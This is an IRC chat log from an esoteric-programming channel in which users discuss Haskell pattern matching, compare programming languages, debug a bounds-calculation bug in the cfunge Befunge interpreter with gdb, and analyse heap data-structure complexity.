02:05:19 * Gregor looks for an excuse to reference http://media.fukung.net/images/6793/chowneduck.jpg on Wikipedia (NSFW)
02:06:03 <pineapple> should i click?
02:06:14 <Gregor> YES
02:06:22 <pineapple> ...
02:07:12 <Oranjer> what!
02:08:44 -!- Sgeo has joined.
02:13:32 -!- Tritonio_GR has joined.
02:25:09 * coppro eats pineapple
02:26:08 <Oranjer> yay
02:28:57 -!- Guest8510 has changed nick to augur.
02:29:05 -!- coppro has quit (Quit: reboot).
02:32:38 -!- coppro has joined.
02:39:07 -!- Asztal has quit (Ping timeout: 260 seconds).
02:54:03 -!- pikhq has quit (Quit: leaving).
02:55:54 -!- pikhq has joined.
02:58:27 -!- pikhq has quit (Client Quit).
03:05:11 -!- sshc has quit (Ping timeout: 246 seconds).
03:05:11 -!- SimonRC has quit (Ping timeout: 246 seconds).
03:05:18 -!- uorygl has quit (*.net *.split).
03:05:18 -!- cheater2 has quit (*.net *.split).
03:05:18 -!- ineiros has quit (*.net *.split).
03:05:18 -!- lament has quit (*.net *.split).
03:05:50 -!- sshc has joined.
03:06:19 -!- SimonRC has joined.
03:06:56 -!- uorygl has joined.
03:06:56 -!- cheater2 has joined.
03:06:56 -!- lament has joined.
03:06:56 -!- ineiros has joined.
03:08:51 -!- adu has joined.
03:19:32 -!- oerjan has joined.
03:23:45 * Sgeo tried to argue that the Data Structures class should use Python
03:24:05 <oklopol> maybe http://en.wikipedia.org/wiki/Not_safe_for_work?
03:24:30 <Sgeo> WadImiss?
03:24:51 <oklopol> i'm asleep, can't answer
03:29:48 <coppro> Sgeo: that sounds horrible
03:30:25 <Sgeo> howso?
03:30:46 <coppro> because, data structures are a low-level concept; they should be implemented in a low-level language
03:32:10 <Sgeo> Well, are there low-level languages that are less syntactically insane than C++?
03:32:28 <coppro> C
03:33:22 * oerjan thinks we use Modula-2, way back :)
03:33:25 <oerjan> *used
03:37:09 -!- mtve has joined.
03:40:32 <augur> oklopol: :D
03:40:36 * augur hugs oklopol
03:40:37 <augur> hey
03:40:38 <augur> :)
03:52:37 -!- Oranjer has left (?).
04:08:54 <coppro> adu: after my great start yesterday, I'm sure my completed program has about 10 stylistic pas faux
04:09:48 * Sgeo should go eat
04:10:19 <coppro> http://pastie.org/885958
04:18:09 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
04:25:52 <oerjan> coppro: the main thing i notice is that you are using a lot of == rather than pattern matching
04:26:14 <coppro> oerjan: yeah; not sure how to pattern match against my monster of a type
04:26:19 <coppro> (at least, to pattern match nicely
04:30:53 <oerjan> step (VM {future = []}) = return ()
04:31:12 <coppro> ah, thanks
04:31:15 * coppro rewrites
04:32:42 -!- augur has quit (Ping timeout: 248 seconds).
04:40:14 <coppro> oerjan: I'm having one issue: jump f o c i v@(VM {future = o:_}) is not a valid pattern?
04:40:54 <oerjan> coppro: indeed you cannot compare things in patterns. call the second o' or something and add a | o == o' guard
04:41:00 <coppro> ok
04:41:25 <oerjan> coppro: maybe i'm a little late, but you might want to use a case expression if it's awkward to do all the pattern matching at top level (i.e. case instr of ...)
04:42:16 <coppro> oerjan: ah
04:42:25 <coppro> oerjan: Well, I've already rewritten it, and it doesn't look too horrid
04:42:52 <oerjan> it was mainly that value = ... that made me wonder, since you are using it in several branches
04:43:10 <oerjan> good
04:45:15 -!- nooga has joined.
04:45:34 <coppro> hmm
04:45:44 <coppro> not sure about jump though; the inability to compare in a guard is annoying
04:46:12 <coppro> I guess I have no choice but to use another guard instead of a pattern
04:51:32 -!- pikhq has joined.
04:53:47 <coppro> yay, it works again
04:54:04 <oerjan> :)
04:55:28 -!- adu has quit (Quit: adu).
04:57:40 -!- adu has joined.
04:58:34 <nooga> i just woke up
04:59:04 <nooga> there's a party in my flat and i don't even know who did this party
04:59:24 <Gregor> Is that innuendo?
04:59:57 <oerjan> no, it's in the front
05:03:15 <Gregor> I SEE WUT U DID THAR
05:03:34 <oerjan> took you long enough :D
05:04:49 <Gregor> I was AFK :P
05:08:12 -!- jcp has quit (Changing host).
05:08:12 -!- jcp has joined.
05:08:49 -!- jcp has quit (Changing host).
05:08:49 -!- jcp has joined.
05:17:58 <Sgeo> What's the language where === is used for case statements?
05:18:13 <Sgeo> Too many languages in too short a period of time can be confusing
05:24:06 <pineapple> i've not heard of that one
05:27:40 -!- augur has joined.
06:11:26 -!- Asztal has joined.
06:16:51 -!- augur has quit (Ping timeout: 265 seconds).
06:31:01 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
06:35:17 <coppro> Sgeo: I dunno; which languages actually have ===? PHP's the only one I can think of offhand
06:35:32 <Sgeo> I think I may be thinking of Ruby
06:36:02 <Sgeo> Right now trying to get a handle on Erlang instead of sleeping
06:36:34 <coppro> ah yes, it is Ruby, according to the doc
06:37:01 <lament> ==============
06:37:32 <coppro> that, to me, looks like something out of perldoc
06:37:40 <coppro> (yes, I know it isn't)
06:38:35 * Sgeo is overdosing on languages
06:39:37 <coppro> Sgeo: the Erlang language is simple, but coding Erlang is all about the library
06:41:42 * Sgeo really should find a motivation to learn Erlang
06:45:53 -!- adu has quit (*.net *.split).
06:45:54 -!- Sgeo has quit (*.net *.split).
06:45:54 -!- AnMaster has quit (*.net *.split).
06:45:54 -!- Quadrescence has quit (*.net *.split).
06:45:55 -!- yiyus has quit (*.net *.split).
06:47:02 -!- oerjan has quit (Quit: leaving).
06:53:06 -!- adu has joined.
06:53:06 -!- Sgeo has joined.
06:53:06 -!- Quadrescence has joined.
06:53:06 -!- AnMaster has joined.
06:53:06 -!- yiyus has joined.
06:55:02 -!- sebbu2 has joined.
06:55:06 -!- sebbu has quit (Ping timeout: 248 seconds).
06:55:23 -!- sebbu2 has changed nick to sebbu.
07:07:03 <Sgeo> For some reason, Erlang isn't really grabbing my interest
07:11:32 <coppro> because you're tired?
07:11:39 <coppro> because the online stuff sucks?
07:17:49 -!- augur has joined.
07:57:55 -!- tombom has joined.
07:59:03 <nooga> eh
07:59:07 <nooga> erlang is boring
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:13:56 -!- Asztal has quit (Ping timeout: 246 seconds).
08:15:28 -!- Gracenotes has quit (Quit: Leaving).
08:50:17 -!- tombom has quit (Quit: Leaving).
09:00:48 -!- nooga_ has joined.
09:03:38 -!- nooga has quit (Ping timeout: 248 seconds).
09:32:03 -!- myndzi\ has quit (Ping timeout: 240 seconds).
09:32:46 -!- myndzi has joined.
09:40:32 -!- cheater2 has quit (Ping timeout: 240 seconds).
09:41:39 -!- cheater2 has joined.
09:48:48 <Geekthras> coppro: doesn't javascript have ===?
09:49:02 <Geekthras> doesn't it check real equality instead of confusing equality?
09:56:17 -!- ais523 has joined.
10:18:05 <augur> heyo.
10:18:15 <augur> ais523: would you be interested in ... a challenge?
10:18:15 <augur> :x
10:18:24 <ais523> augur: it depends on the details
10:18:51 <augur> basically, i will design an esolang of some sort
10:18:57 <augur> relatively simple and not complicated at all
10:19:05 <augur> maybe ill even use an existing one
10:19:07 <augur> who knows
10:19:19 <augur> and then ill provide some visualization of a program executing.
10:19:31 <ais523> and I have to deduce the esolang from that visualization?
10:19:36 <augur> yep
10:19:42 <augur> or at least the constructs of the language
10:20:07 <ais523> it sounds interesting, at least
10:20:20 <ais523> probably best if, as last time, we make guesses to you via PM, so everyone can play
10:21:30 <augur> actually, i like the idea of this being collaborative.
10:22:19 <augur> the idea is that it should be vaguely like reverse engineering the brain
10:22:25 <augur> all you have is data about program execution
10:22:32 <augur> and you dont even know what the data represents
10:28:23 -!- lereah_ has joined.
11:28:06 -!- FireFly has joined.
11:29:19 -!- kar8nga has joined.
11:51:23 <Deewiant> AnMaster: Found another apparent bug in cfunge's bounds calculation; this time I'm a bit more sure because efunge agrees with CCBI
12:08:11 -!- sebbu2 has joined.
12:08:18 -!- sebbu has quit (Ping timeout: 252 seconds).
12:08:34 -!- sebbu2 has changed nick to sebbu.
14:18:53 <AnMaster> Deewiant, oh?
14:18:55 <AnMaster> Deewiant, what is it
14:19:03 <AnMaster> and do you have a test case
14:19:23 <AnMaster> (by the way, I hope you realise that efunge could be incorrect as well)
14:19:31 <Deewiant> http://tar.us.to:12345/ run slowdown.b98 on mycology.b98
14:19:46 <AnMaster> Deewiant, wget http://tar.us.to:12345/ ?
14:19:56 <Deewiant> No, click the link and download the two files.
14:20:31 <AnMaster> Deewiant, so what am I supposed to look for?
14:20:50 <ais523> grr, I've just closed Firefox three times by accident in the last ten minutes
14:20:52 <Deewiant> It quits right after the relevant line of output.
14:20:56 <ais523> by typoing control-Q rather than control-W
14:21:00 <AnMaster> mhm
14:21:25 <AnMaster> Deewiant, build/cfunge experimental/slowdown.b98 experimental/mycology.b98 ?
14:21:33 <Deewiant> For example.
14:21:35 <AnMaster> hrrm
14:21:42 <AnMaster> Deewiant, are those BAD relevant?
14:21:45 <Deewiant> efunge will probably take a few minutes.
14:21:47 <Deewiant> No, ignore the GOOD/BAD.
14:21:50 <AnMaster> right
14:21:51 <Deewiant> Just look at the last line.
14:22:05 <AnMaster> " That the greatest point, relative to that point, is ( 180 544 )"?
14:22:12 <Deewiant> Yeah.
14:22:18 <Deewiant> Compare to efunge.
14:22:41 * AnMaster waits on efunge
14:22:59 <AnMaster> Deewiant, how fast is that computer where it takes "a few minutes"?
14:23:13 <AnMaster> ah done
14:23:14 <Deewiant> It takes a bit under 20 seconds for me.
14:23:17 <AnMaster> " That the greatest point, relative to that point, is ( 180 539 )"
14:23:19 <AnMaster> well
14:23:22 <AnMaster> okay different value I see
14:23:24 <AnMaster> hm
14:23:48 <AnMaster> Deewiant, is the 544 correct at any point btw?
14:24:03 <Deewiant> AnMaster: If you remove a couple of lines from the end of the file (five was enough IIRC) cfunge and efunge will agree.
14:24:11 <AnMaster> eh
14:24:14 <Deewiant> AnMaster: I don't think so.
14:24:20 <Deewiant> But it might be.
14:24:28 <AnMaster> Deewiant, what do those lines do btw?
14:24:37 <Deewiant> Those lines at the end of the file do nothing.
14:24:40 <AnMaster> hrrm
14:24:45 <Deewiant> You can remove any five lines that aren't executed, IIRC.
14:24:49 <AnMaster> shouldn't both shrink equally much then
14:24:57 <AnMaster> also remove from which file? cfunge or efunge?
14:25:08 <Deewiant> efunge shrinks by five, cfunge shrinks by five plus the five that it's getting wrong now.
14:25:19 <Deewiant> From mycology.b98.
14:25:22 <AnMaster> right
14:25:35 <AnMaster> so what on earth is going on there ^_^
14:25:43 <Deewiant> :-)
14:25:47 <AnMaster> Deewiant, does it matter that:
14:25:52 <AnMaster> cfunge: That the least point containing a non-space cell is ( 65000 64995 )
14:26:00 <AnMaster> efunge: That the least point containing a non-space cell is ( 65000 65000 )
14:26:06 <Deewiant> Well yes, that would appear to be the cause of the problem.
14:26:22 <AnMaster> Deewiant, so what causes that difference in least space cell I wonder
14:26:38 <AnMaster> it seems that slowdown decides on different positions for the upper corner to me?
14:26:52 <Deewiant> That slowdown has been hard-coded to use 65000,65000
14:27:13 <AnMaster> Deewiant, well then, so what we are looking at is what is going on at (65000,64995) then?
14:27:26 <Deewiant> Yep
14:28:45 <AnMaster> Deewiant, does it quit by @ or by q?
14:28:48 <Deewiant> q
14:28:50 * AnMaster wonders where to set the breakpoint
14:28:51 <AnMaster> ah
14:35:30 <AnMaster> Deewiant, so manually setting fspace.boundsexact=false and running bounds shrinking fixes it
14:35:42 <AnMaster> so probably that flag isn't set when it should be
14:35:58 <AnMaster> now of course, figuring out when it should be set is a different issue
14:36:07 <AnMaster> hrrm
14:36:35 <AnMaster> s/a different/another/
14:37:25 -!- Asztal has joined.
14:37:25 <AnMaster> Deewiant, are you sure there is never anything at the y coordinate 64995 ?
14:37:40 <Deewiant> No
14:37:56 <Deewiant> I can't think of what might be there but I can't remember the full details of how slowdown works
14:38:56 * AnMaster tries break fungespace_set if position.y=64995
14:39:22 <AnMaster> which dumped me right into gdb
14:39:24 <AnMaster> a write to
14:39:32 <AnMaster> (gdb) print *position
14:39:32 <AnMaster> $2 = {x = 4, y = 64995}
14:39:38 <AnMaster> I guess that must be early on
14:39:51 <AnMaster> considering nothing has yet been printed on stdio
14:40:00 <AnMaster> Deewiant, any clue as to what that might be?
14:40:02 <Deewiant> slowdown doesn't print anything to stdio
14:40:11 <ais523> doesn't mycology write to (-5,-5)?
14:40:18 <AnMaster> Deewiant, well then it is before or very very early on in mycology
14:40:29 <ais523> AnMaster: take stdio buffering into account
14:40:32 <Deewiant> ais523: No, to (-3,-2); and this one doesn't since it goes straight to the y test
14:40:35 <ais523> ah, ok
14:40:47 <Deewiant> AnMaster: This Mycology does only the y test
14:40:55 <AnMaster> ais523, yes but since it is line buffered it must be quite early on still I guess
14:41:05 <Deewiant> It starts out by running y and saying "y claims all of the following"
14:41:15 <AnMaster> well it's a p
14:41:20 <AnMaster> how very helpful XD
14:41:22 <Deewiant> If it's a p before the y it's from slowdown
14:41:26 <Deewiant> Where's it at?
14:41:39 <AnMaster> Deewiant, trying to remember what variable it was in
14:41:39 <AnMaster> sec
14:41:56 <AnMaster> (gdb) print *ip
14:41:56 <AnMaster> $4 = {stack = 0x247d420, position = {x = 14, y = 1}, delta = {x = 1, y = 0}, storageOffset = {x = 0, y = 0}, mode = 0 '\0', needMove = true, stringLastWasSpace = false,
14:41:56 <AnMaster> fingerSUBRisRelative = false, ID = 0, stackstack = 0x247d400, fingerOpcodes = {{size = 0, top = 0, entries = 0x0} <repeats 26 times>}, fingerHRTItimestamp = 0x0}
14:41:58 <AnMaster> so
14:42:02 <AnMaster> (14,1)
14:42:10 <Deewiant> That's odd :-P
14:42:17 <AnMaster> Deewiant, why is it that?
14:42:40 <Deewiant> AnMaster: storageOffset = 0,0 and that bit is "044p"...
14:42:54 <AnMaster> huh
14:43:21 <AnMaster> (gdb) print *position
14:43:21 <AnMaster> $5 = {x = 4, y = 4}
14:43:21 <AnMaster> (gdb) print *offset
14:43:21 <AnMaster> $6 = {x = 0, y = 0}
14:43:31 <AnMaster> and down another frame where they are added together
14:43:44 <AnMaster> (gdb) print *position
14:43:44 <AnMaster> $7 = {x = 4, y = 64995}
14:43:48 <AnMaster> yeah what the hell
14:43:53 <Deewiant> :-D
14:44:00 <AnMaster> the call is: fungespace_set(value, vector_create_ref(position->x + offset->x, position->y + offset->y));
14:44:10 <AnMaster> to me this looks almost like a compiler bug
14:44:16 <AnMaster> hrrm
14:44:19 <ais523> AnMaster: are any of the variables in question changed inside the functions themselves?
14:44:25 <AnMaster> or vector_create_ref messing up?!
14:44:34 <Deewiant> Is it written in asm? ;-)
14:44:37 <AnMaster> ais523, no don't think so
14:44:43 <AnMaster> Deewiant, no
14:44:56 <AnMaster> #define vector_create_ref(a, b) (& (funge_vector) { .x = (a), .y = (b) })
14:45:04 <AnMaster> well, *I* can't see anything wrong with that
14:45:26 <AnMaster> maybe gdb is messing up somehow?
14:45:29 <Deewiant> It's worth seeing whether it's just GCC failing at compound literal codegen
14:45:37 -!- oerjan has joined.
14:45:47 <AnMaster> Deewiant, well, it is odd that it hasn't showed up before this then
14:46:39 <AnMaster> well, build with icc gives same results
14:46:53 <Deewiant> From gdb too? :-)
14:46:53 <AnMaster> and so does clang build
14:46:58 <AnMaster> Deewiant, not running under gdb
14:47:01 <AnMaster> just checking the bug
14:47:30 * AnMaster tries to remember how to get icc to generate a usable-with-gdb binary
14:49:13 <AnMaster> Deewiant, hrrm I can't get any values for that condition to break with icc
14:49:19 <AnMaster> not even the supposed correct value
14:49:29 <oerjan> <ais523> by typoing control-Q rather than control-W <-- heh synchronicity, i just today read this link on reddit: http://www.codinghorror.com/blog/2010/03/the-opposite-of-fitts-law.html
14:49:44 <AnMaster> wait
14:49:46 <AnMaster> it never breaks
14:49:52 <AnMaster> even without condition
14:49:54 <AnMaster> what the heck
14:49:58 * AnMaster prods icc
14:50:04 * Deewiant recommends printf debugging
14:50:07 <ais523> AnMaster: maybe there isn't enough debug info to tell where to break
14:50:10 <oerjan> and that example was mentioned in one of the comments (either on the blog or reddit)
14:50:27 <AnMaster> ais523, well gdb usually complains instead of happily reporting that the breakpoint was set in that case
14:50:29 <Deewiant> oerjan: On the blog.
14:50:35 <AnMaster> I suspect inlining behind my back
14:50:51 <Deewiant> Compile without optimizations?
14:51:11 <oerjan> also the thing i previously mentioned about simon tatham puzzles's q command fits right in :(
14:51:12 <AnMaster> Deewiant, did so...
14:51:19 <AnMaster> lets try clang
14:51:20 <fizzie> Incidentally, how does a compound literal like that work, memory-wise? Apparently you can take the address of it, but how long does it live?
14:51:24 <Deewiant> Seems strange that it'd inline in that case...
14:51:51 <AnMaster> oops. gdb errored on that break
14:52:06 <AnMaster> Die: DW_TAG_restrict_type (abbrev = 12, offset = 37969)
14:52:06 <AnMaster> has children: FALSE
14:52:06 <AnMaster> attributes:
14:52:06 <AnMaster> DW_AT_type (DW_FORM_ref4) constant ref: 37963 (adjusted)
14:52:06 <AnMaster> Dwarf Error: Cannot find type of die [in module /home/arvid/src/own/cfunge/trunk/build_clang/cfunge]
14:52:08 <AnMaster> interesting error
14:52:29 <AnMaster> whatever "die" is. I don't remember any such function
14:52:48 <Deewiant> die is the Debugging Information Entry
14:52:51 <AnMaster> ah
14:53:28 <fizzie> Ah, automatic storage duration with the enclosing block.
14:53:31 <oerjan> die, evil bugs, die
14:53:35 <AnMaster> fizzie, well since it is never returned it should be fine
14:53:46 <AnMaster> it is used as an argument in a function call
14:54:37 <fizzie> AnMaster: Yes, that sounds safe enough. But just "never returned" is not good enough; you can't use it even in the same function if you go outside the block it was in.
14:54:42 <AnMaster> anyway it seems like gdb messes it up
14:55:05 <AnMaster> since if continuing after that break it breaks a lot more, but after that the program just ends up printing garbage
14:55:22 <fizzie> Something like "foo *p; if (cond) { p = vector_create_ref(...); } else { p = vector_create_ref(...); } func(p);" would be unsafe, as far as I can tell.
14:55:30 <AnMaster> indeed that wouldn't work
14:55:39 <fizzie> Sneaky.
14:55:39 <AnMaster> but that isn't how it is used there (or anywhere else that I know of)
14:55:59 <Deewiant> fizzie: All the more reason to use ?: instead of if-else
14:55:59 <AnMaster> do gdb ends up changing something it seems
14:56:54 <AnMaster> wait, I found it
14:56:55 <AnMaster> -_-
14:57:02 <AnMaster> wrong syntax to gdb's break if
14:57:02 <Deewiant> _-_
14:57:26 <AnMaster> ah now we found a true one I think
14:57:35 <AnMaster> (gdb) print *position
14:57:36 <AnMaster> $1 = {x = 64995, y = 64995}
14:57:39 <AnMaster> so lets see where
14:58:00 <AnMaster> $2 = {stack = 0x18e7420, position = {x = 6, y = 35}, delta = {x = 0, y = 1}, storageOffset = {x = 65000, y = 65000},
14:58:07 <AnMaster> Deewiant, does that make any sense for it?
14:58:27 <Deewiant> Yeah, evidently it uses that.
14:58:30 <AnMaster> the arguments to p was {x = -5, y = -5}
14:58:36 <Deewiant> And zero.
14:58:41 <AnMaster> Deewiant, why are you writing something there
14:58:47 <Deewiant> It's a temporary.
14:58:48 <AnMaster> indeed a 0
14:59:02 <AnMaster> Deewiant, sure but what for?
14:59:26 <Deewiant> I think it counts the number of cells to p, to give the correct argument to k.
14:59:45 <AnMaster> Deewiant, at {x = 25, y = 37} it writes an 1 to the same place btw
15:00:00 <Deewiant> And thereafter a 2, and then a 3, all the way to 152100, yes. :-P
15:00:09 <AnMaster> gah
15:00:11 <Deewiant> But then it's spaced in the kp.
15:00:22 <Deewiant> If you break at 65067,65000 you'll see it's blank.
15:00:45 <AnMaster> mhm
15:01:58 <AnMaster> Deewiant, it writes a space much earlier than that
15:02:10 <AnMaster> ip is at (25,37) when it first writes a space there
15:02:12 <AnMaster> hm
15:02:33 <AnMaster> wait
15:02:37 <AnMaster> that is probably counting still
15:02:42 <Deewiant> :-)
15:02:43 <AnMaster> but value is now 32
15:02:48 <Deewiant> It's a nonspace until the kp.
15:03:04 <AnMaster> Deewiant, it is in fact a space when it puts the value 32 there :P
15:03:07 <AnMaster> for counting
15:03:34 <Deewiant> Well, it's a nonspace after 33 until the kp. :-P
15:03:41 <AnMaster> that is true
15:04:29 <AnMaster> err wait
15:04:35 <AnMaster> Deewiant, did you say "65067,65000"?
15:04:48 <Deewiant> 2010-03-25 15:59:58 ( Deewiant) If you break at 65067,65000
15:04:52 <AnMaster> when ip is at {x = 64998, y = 65000} it writes a space there
15:05:05 <Deewiant> Yes, that's where the k is.
15:05:20 <AnMaster> so what's with the "65067" then?
15:05:32 <Deewiant> 65067,65000 is the first non-marker to be executed after the kp.
15:05:43 <oklopol> sometimes i wonder if AnMaster is ircing with telnet or something
15:05:59 <oklopol> (AnMaster: Deewiant, did you say "65067,65000"?)
15:08:22 -!- Tritonio_GR has joined.
15:09:44 <AnMaster> Deewiant, is this 64995,64995 the first thing that k clears or something?
15:10:01 <AnMaster> I wonder if making it the last thing would make a difference to the bug
15:10:13 <AnMaster> would be really interested in knowing that.
15:11:00 * Deewiant prints out a 456325-cell stack
15:12:11 <Deewiant> AnMaster: It's not the first, it's around the tenth or so
15:12:14 <AnMaster> ah
15:12:18 <AnMaster> but fairly early on at least
15:12:28 <Deewiant> Eighth, to be exact
15:13:16 <Deewiant> It clears (0,-1), (0,-2), (0,-3), (-1,-1), (-2,-2), (-3,-3), (-4,-4), (-5,-5), and then the original source.
15:13:27 <Deewiant> (Apply the storage offset yourself.)
15:13:30 <AnMaster> right
15:13:45 -!- adu has quit (Quit: adu).
15:15:30 <AnMaster> hm
15:15:51 <AnMaster> so well the minimisation function does something wrong when called once
15:15:57 <AnMaster> but if called again "fixes" it
15:16:30 <AnMaster> hm
15:17:11 <AnMaster> aaah
15:17:17 <ais523> AnMaster: what algorithm are you using to find bounds?
15:17:40 <AnMaster> ais523, well that is the thing. It uses a simple heuristics to select algorithm
15:18:39 <AnMaster> for "small" current bounds it uses a "shrink bounds towards the middle" algorithm based on the row/col value count info
15:18:56 <AnMaster> but for very large bounds it seems likely that most of it is sparse
15:19:05 <AnMaster> so thus it enumerates the values in the hash table
15:19:13 <AnMaster> and it seems like the bug is in the large model
15:20:36 <ais523> hmm, this has got me wondering if there's a general O(1) algo for bounds update
15:20:47 <ais523> that is, O(1) both on unblanking cells, and on blanking them
15:20:58 <AnMaster> and the reason the x bound is right
15:21:04 <AnMaster> is that it uses the small model at that point
15:21:20 <AnMaster> because the difference is _just_ in between the difference in this case
15:21:26 <AnMaster> topLeftCorner = {x = 0, y = 0}, bottomRightCorner = {x = 65180, y = 65539}
15:21:29 <AnMaster> are the previous bounds
15:21:48 <AnMaster> the cut-off is 0x10000
15:21:50 <ais523> actually, probably not, as that would likely lead to O(n) sorting
15:21:53 <Deewiant> AnMaster: I figured it was something like that; I minimized the point to (65000,65000) when trying to find something as small as possible
15:21:59 <ais523> you can do bounds update in O(log n), though
15:22:07 <Deewiant> ais523: For what n
15:22:13 <AnMaster> Deewiant, right
15:22:15 <Deewiant> Size, number of updates?
15:22:21 <ais523> in the number of cells that don't contain spaces
15:22:29 <Deewiant> Right.
15:22:34 <AnMaster> ais523, oh?
15:22:39 <Deewiant> AnMaster: efunge was annoyingly slow when it was 500 million ;-P
15:22:44 <AnMaster> Deewiant, hah
15:23:04 <ais523> AnMaster: in each cell, hold a pointer to the next cell and previous cell sorted vertically over horizontally, and horizontally over vertically
15:23:07 <AnMaster> Deewiant, I'm not sure why really. Maybe bignums aren't as efficient as they could be?
15:23:16 <AnMaster> but that doesn't really make sense here
15:23:27 <ais523> then, blanking a cell is O(1) (just remove the element from the linked lists)
15:23:28 <AnMaster> ais523, well okay
15:23:36 <ais523> now, there only problem is finding the previous and next cell
15:23:43 <Deewiant> AnMaster: General slowness. slowdown runs 11 million ticks before getting to Mycology.
15:23:46 <AnMaster> ais523, how do you do random access of the cells?
15:23:52 <ais523> which, if you use something like a skiplist rather than linked list, is O(log n)
15:24:00 <ais523> and you do random access by looking at them in your hash table
15:24:01 <Deewiant> AnMaster: And this was before I had cut off around 400 lines from the mycology.b98.
15:24:09 <AnMaster> Deewiant, heh
15:24:10 <ais523> this is in addition to whatever mechanism you normally use for updates
15:24:18 <ais523> O(log n), but the constant factor is rather nastily large
15:24:25 <AnMaster> ais523, well okay, the storage requirement is non-trivial isn't it?
15:24:31 <ais523> yes
15:24:34 <Deewiant> It only quintuples the size of a cell :-)
15:24:39 <AnMaster> ais523, what I do is to keep a count of set values in each column and row
15:24:49 <ais523> AnMaster: I suggested that algo a while back, too
15:25:00 <AnMaster> mhm
15:25:02 <ais523> but it's O(n) in the size of the area before bounds shrinking
15:25:10 <AnMaster> ais523, eh?
15:25:22 <Deewiant> O(n) in size but O(log n) in memory
15:25:23 <AnMaster> oh you mean for executing
15:25:24 <ais523> because shrinking bounds means you need to check every count to see if it's 0 or not
15:25:25 <Deewiant> Yours is the other way around
15:25:29 <ais523> yes
15:25:29 <Deewiant> Err
15:25:32 <Deewiant> s/in size/in CPU/
15:25:35 <Deewiant> Or time, whatever.
15:25:43 <AnMaster> right
15:25:58 <ais523> Deewiant: that algo's O(n) in both, as you need to store the arrays
15:26:08 <AnMaster> ais523, sparse arrays though
15:26:12 <ais523> as in, the small algo for cfunge is O(n) in memory, O(n) in time
15:26:30 <Deewiant> Hmm, it is O(n) in the worst case, you're right.
15:26:33 <AnMaster> ais523, except outside the basic static area which is something like 1024x1024 unless I misremember
15:26:47 <Deewiant> I thought it was 512x1024, to fit Mycology ;-P
15:26:55 <AnMaster> Deewiant, maybe it was, I don't remember
15:27:37 <AnMaster> considering that it grows fairly rapidly in size due to the multiplication there you can't make it too big
15:28:57 <AnMaster> ais523, also the algorithm is fairly fast in practise.
15:29:07 <AnMaster> for the range I use it in
15:29:21 <ais523> yes; I'm wondering what the theoretically best-in-the-limit-in-the-worst-case algo is
15:29:24 <AnMaster> faster than the large model in fact (profiled for a number of programs, not just mycology)
15:29:30 <ais523> rather than the one that's most practically useful
15:29:41 <AnMaster> hah
15:33:12 <nooga_> Mycology?
15:33:15 <ais523> ooh, instead of putting pointers in the cells, you could just record, for each row and column with a nonspace cell in, the next and previous row or column with a nonspace cell in
15:33:20 <ais523> nooga_: automated Befunge testsuite
15:33:24 <ais523> Deewiant wrote it
15:33:26 <AnMaster> oh god, is it that simple...
15:33:28 <Deewiant> ais523: Store cells in a heap and you get it in O(1)?
15:33:32 <AnMaster> it can't be can it..
15:33:54 <Deewiant> AnMaster: It helps, but you still have to calculate whether the row/column has spaces.
15:33:56 <ais523> Deewiant: no, not O(1), because you can't remove entries from a heap
15:34:05 <AnMaster> Deewiant, hm?
15:34:17 <Deewiant> AnMaster: I mean, it's not a super-improvement. :-P
15:34:29 <AnMaster> Deewiant, what isn't compared to what?
15:34:48 <Deewiant> AnMaster: Your "oh god" stuff
15:34:51 <ais523> there probably is a way to make a heap with removable entries, though (maybe use a heap and hashtable together?)
15:34:53 <AnMaster> Deewiant, I was talking about the cause of the bug.
15:34:53 <AnMaster> ...
15:35:04 <Deewiant> AnMaster: Ah, I thought you were talking about what ais just said.
15:35:04 <AnMaster> now I have to figure out how to fix it
15:35:08 <Deewiant> So what's wrong
15:35:16 <Deewiant> ais523: You can pop from a heap.
15:35:25 <ais523> Deewiant: but not remove entries from inside the heap
15:35:28 <ais523> only if they're at the top
15:35:32 <Deewiant> ais523: Yes you can, it's just O(n). :-P
15:35:33 <oklopol> you can remove entries from a heap, just increase-key it up and then remove it?
15:35:38 <AnMaster> Deewiant, I *think* but I'm not quite sure yet that I just check if there is an entry in the hash table for that column, but not what value that entry has
15:35:42 <oklopol> that's O(log n)
15:35:44 <AnMaster> (column or row)
15:35:45 <Deewiant> ais523: But the bounds calculation itself is O(1).
15:35:50 <ais523> oklopol: ah, thanks
15:36:00 <Deewiant> oklopol: Assuming you have a pointer to it, yes.
15:36:02 <AnMaster> Deewiant, for normal funge space I drop the cell if I write a space, instead of storing a space
15:36:18 <AnMaster> but it seems I don't do the same thing for the bounds array when they hit 0
15:36:20 <ais523> so we now have an algo that's O(log n) in the number of times a row or column has had a value in it once and then removed again
15:36:40 <oklopol> also it's impossible to do that in O(1) with any heap iirc
15:36:45 <oklopol> Deewiant: right
15:37:05 <nooga_> oh
15:37:11 <ais523> removing the top entry of a heap is O(log n), isn't it? or is it adding an entry that's O(log n)?
15:37:17 <oklopol> depends
15:37:21 <ais523> one of them must be, or you could have an O(n) sort
15:37:23 -!- kar8nga has quit (Remote host closed the connection).
15:37:24 <oklopol> in a fibonacci heap only deletion is O(1)
15:37:28 <ais523> * O(n) comparison sort
15:37:42 <oklopol> even merge is O(1)
15:37:44 <Deewiant> ais523: Amortized O(1) is possible.
15:37:44 <ais523> oklopol: I assumed you meant binary heap
15:37:59 <ais523> Deewiant: not for both operations
15:38:10 <oklopol> oh well in a binary heap only merge is O(n), and pretty much everything else is O(log n)
15:38:13 <Deewiant> ais523: Which both?
15:38:22 <ais523> both remove top, and add anywhere
15:38:36 <Deewiant> Yes, true.
15:39:47 <ais523> an operation that's O(log n) in the number of rows+columns every time you p a cell is not really optimal, though
15:39:51 <oklopol> it's actually really easy to make everything except remove top O(1), just put them in a stack or something... :P
15:40:00 <ais523> oklopol: yes
15:40:08 <ais523> but having a fast remove top is what makes a heap a heap, IMO
15:40:38 -!- werdan7 has quit (Ping timeout: 608 seconds).
15:41:03 <oklopol> is it trivially easy/impossible to make addition O(log n) and remove top O(1)?
15:41:06 <ais523> hmm, you'd just use a type of heap with O(1) add, and O(log n) delete and delete top
15:41:10 <pineapple> ais523: why is it incorrect today?
15:41:30 <oklopol> if it was correct today, then it would be incorrect today by what it says, a contradiction
15:42:14 <ais523> oklopol: hmm, that's an interesting question
15:42:31 <ais523> O(1) remove top implies that it has to be stored in completely sorted order, in some sense
15:42:36 <oklopol> yes
15:42:51 <ais523> you can easily do it O(log n) add, O(1) remove top /amortized/, by simply amortizing the remove onto the ad
15:42:52 <ais523> *add
